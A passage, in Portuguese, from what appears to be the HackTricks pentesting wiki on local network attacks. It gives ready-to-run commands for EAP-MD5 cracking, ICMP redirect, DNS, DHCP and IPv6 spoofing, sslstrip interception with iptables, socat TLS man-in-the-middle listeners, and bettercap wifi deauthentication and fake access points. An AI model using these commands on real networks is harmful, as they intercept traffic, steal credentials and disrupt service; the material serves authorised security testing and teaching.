| Endereço de configuração WPAD (URL)         | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) |
| Falsificar o endereço IP do gateway padrão  | -S                                                                           |
| Responder a todas as solicitações DHCP (muito barulhento) | -R                                             |

### **Ataques EAP**

Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:

* Força bruta ativa via EAP para quebra de senha
* Atacar o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
* Captura de mensagem EAP e quebra de senha offline (EAP-MD5 e PEAP)
* Forçar autenticação EAP-MD5 para contornar a validação do certificado TLS
* Injetar tráfego de rede malicioso após autenticação usando um hub ou similar

Se o atacante estiver entre a vítima e o servidor de autenticação, ele poderia tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Então, ele poderia forçar a quebra dessa senha usando:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### Ataques FHRP (GLBP & HSRP) <a href="#6196" id="6196"></a>

**FHRP** (Protocolo de Redundância do Primeiro Salto) é uma classe de protocolos de rede projetados para **criar um sistema de roteamento redundante e ativo**. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.

**Engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP.**

{% content-ref url="glbp-and-hsrp-attacks.md" %}
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
{% endcontent-ref %}

### RIP

Existem três versões do Protocolo de Informação de Roteamento (RIP)—RIP, RIPv2 e RIPng. RIP e RIPv2 usam datagramas UDP enviados a pares via porta 520, enquanto RIPng transmite datagramas para a porta UDP 521 via multicast IPv6. RIPv2 introduziu suporte à autenticação MD5. RIPng não incorpora autenticação nativa; em vez disso, depende de cabeçalhos IPsec AH e ESP opcionais dentro do IPv6.

Para mais informações sobre como atacar este protocolo, consulte o livro _**Network Security Assessment: Know Your Network (3ª edição).**_

### Ataques EIGRP

**EIGRP (Protocolo de Roteamento Interior Gateway Melhorado)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir com o roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não tem segmentação em zonas**. Se um **atacante injetar uma rota**, é provável que esta rota se **espalhe** por todo o sistema autônomo EIGRP.

Para atacar um sistema EIGRP é necessário **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções.

\*\*\*\*[**FRRouting**](https://frrouting.org/) permite implementar **um roteador virtual que suporta BGP, OSPF, EIGRP, RIP e outros protocolos.** Tudo o que você precisa fazer é implantá-lo no sistema do atacante e você pode realmente se passar por um roteador legítimo no domínio de roteamento.

{% content-ref url="eigrp-attacks.md" %}
[eigrp-attacks.md](eigrp-attacks.md)
{% endcontent-ref %}

\*\*\*\*[**Coly**](https://code.google.com/p/coly/) também suporta a captura de transmissões EIGRP e injeção de pacotes para manipular a configuração de roteamento. Para mais informações sobre como atacá-lo com Coly, consulte _**Network Security Assessment: Know Your Network (3ª edição).**_

### OSPF

A maioria das implementações do Open Shortest Path First (OSPF) usa MD5 para fornecer autenticação entre roteadores. Loki e John the Ripper podem capturar e atacar hashes MD5 para revelar a chave, que pode então ser usada para anunciar novas rotas. Os parâmetros da rota são definidos usando a aba _Injection_, e a chave configurada em _Connection_.

Para mais informações sobre como atacar este protocolo, consulte o livro _**Network Security Assessment: Know Your Network (3ª edição).**_

### Outras Ferramentas e Fontes Genéricas

* [**Above**](https://github.com/c4s73r/Above): Ferramenta para escanear o tráfego de rede e encontrar vulnerabilidades
* Você pode encontrar mais informações sobre ataques de rede [aqui](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Ler tudo e adicionar novos ataques se houver)_

## **Spoofing**

O atacante configura todos os parâmetros de rede (GW, IP, DNS) do novo membro da rede enviando respostas DHCP falsas.
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing

Verifique a [seção anterior](./#arp-spoofing).

### ICMPRedirect

ICMP Redirect consiste em enviar um pacote ICMP tipo 1 código 5 que indica que o atacante é o melhor caminho para alcançar um IP. Então, quando a vítima quer contatar o IP, ela enviará o pacote através do atacante.
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### DNS Spoofing

O atacante resolverá alguns (ou todos) os domínios que a vítima solicitar.
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Configurar DNS próprio com dnsmasq**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Gateways Locais

Múltiplas rotas para sistemas e redes frequentemente existem. Após construir uma lista de endereços MAC dentro da rede local, use _gateway-finder.py_ para identificar hosts que suportam encaminhamento IPv4.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Spoofing LLMNR, NBT-NS e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Sistemas Microsoft utilizam Resolução de Nomes Multicast de Link-Local (LLMNR) e o Serviço de Nomes NetBIOS (NBT-NS) para resolução de hosts locais quando consultas DNS falham. Apple Bonjour e implementações de configuração zero do Linux usam DNS Multicast (mDNS) para descobrir sistemas dentro de uma rede. Esses protocolos são não autenticados e transmitem mensagens via UDP; assim, atacantes podem explorá-los para direcionar usuários a serviços maliciosos.

Você pode se passar por serviços que são procurados pelos hosts usando Responder para enviar respostas falsas.\
Leia aqui mais informações sobre [como se passar por serviços com Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

Muitos navegadores usam Descoberta Automática de Proxy Web (WPAD) para carregar configurações de proxy da rede. Um servidor WPAD fornece configurações de proxy para o cliente via uma URL específica (ex.: [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) ao ser identificado por qualquer um dos seguintes:

* DHCP, usando uma entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
* DNS, procurando pelo hostname _wpad_ no domínio local
* Microsoft LLMNR e NBT-NS (em caso de falha na consulta DNS)

Responder automatiza o ataque WPAD—executando um proxy e direcionando clientes para um servidor WPAD malicioso via DHCP, DNS, LLMNR e NBT-NS.\
Leia aqui mais informações sobre [como se passar por serviços com Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing de dispositivos SSDP e UPnP](spoofing-ssdp-and-upnp-devices.md)

Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto puro**. **Mais informações sobre este ataque em** [**Spoofing de Dispositivos SSDP e UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**

### Spoofing de Vizinho IPv6

Este ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### Spoofing/Flooding de Anúncio de Roteador IPv6

Alguns sistemas operacionais configuram por padrão o gateway a partir dos pacotes RA enviados na rede. Para se declarar como roteador IPv6, você pode usar:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### Spoofing de DHCP IPv6

Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Então, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6
```
### HTTP (página falsa e injeção de código JS)

## Ataques na Internet

### sslStrip

Basicamente, o que esse ataque faz é, caso o **usuário** tente **acessar** uma página **HTTP** que está **redirecionando** para a versão **HTTPS**. O **sslStrip** irá **manter** uma **conexão HTTP com** o **cliente e** uma **conexão HTTPS com** o **servidor**, assim ele será capaz de **farejar** a conexão em **texto puro**.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
Mais informações [aqui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).

### sslStrip+ e dns2proxy para contornar HSTS

A **diferença** entre **sslStrip+ e dns2proxy** e **sslStrip** é que eles irão **redirecionar** por exemplo _**www.facebook.com**_ **para** _**wwww.facebook.com**_ (note o "**w**" **extra**) e definirão o **endereço deste domínio como o IP do atacante**. Assim, o **cliente** irá **conectar-se** a _**wwww.facebook.com**_ **(o atacante)**, mas por trás dos panos **sslstrip+** irá **manter** a **conexão real** via https com **www.facebook.com**.

O **objetivo** desta técnica é **evitar HSTS** porque _**wwww**.facebook.com_ **não** será salvo no **cache** do navegador, então o navegador será enganado para realizar a **autenticação do facebook em HTTP**.\
Note que, para realizar este ataque, a vítima tem que tentar acessar inicialmente [http://www.faceook.com](http://www.faceook.com) e não https. Isso pode ser feito modificando os links dentro de uma página http.

Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).

**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras de HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o acessará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de _**wwww.facebook.com**_ mencionado anteriormente não funcionará mais, pois _**facebook.com**_ usa HSTS com `includeSubdomains`.**

TODO: easy-creds, evilgrade, metasploit, factory

## TCP listen in port
```
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL escuta na porta

#### Gerar chaves e certificado autoassinado
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Ouvir usando certificado
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Ouvir usando certificado e redirecionar para os hosts
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
```
Às vezes, se o cliente verificar que a CA é válida, você poderia **servir um certificado de outro hostname assinado por uma CA**.\
Outro teste interessante é servir um **certificado do hostname solicitado, mas autoassinado**.

Outras coisas para testar incluem tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como Diffie-Hellman (um que não necessite descriptografar nada com a chave privada real) e, quando o cliente solicitar uma prova da chave privada real (como um hash), enviar uma prova falsa e esperar que o cliente não verifique isso.

## Bettercap
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Notas sobre Descoberta Ativa

Leve em conta que quando um pacote UDP é enviado para um dispositivo que não tem a porta solicitada, um ICMP (Porta Inalcançável) é enviado.

### **Descoberta ARP**

Pacotes ARP são usados para descobrir quais IPs estão sendo usados dentro da rede. O PC tem que enviar uma solicitação para cada possível endereço IP e apenas os que estão sendo usados responderão.

### **mDNS (DNS multicast)**

Bettercap envia uma solicitação mDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local** a máquina que vê este pacote geralmente responde a esta solicitação. Então, ele apenas procura por máquinas respondendo a "services".

**Ferramentas**

* Avahi-browser (--all)
* Bettercap (net.probe.mdns)
* Responder

### **NBNS (Servidor de Nomes NetBios)**

Bettercap transmite pacotes para a porta 137/UDP perguntando pelo nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

### **SSDP (Protocolo de Descoberta de Serviço Simples)**

Bettercap transmite pacotes SSDP procurando por todo tipo de serviços (Porta UDP 1900).

### **WSD (Descoberta de Serviço Web)**

Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).

## Referências

* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>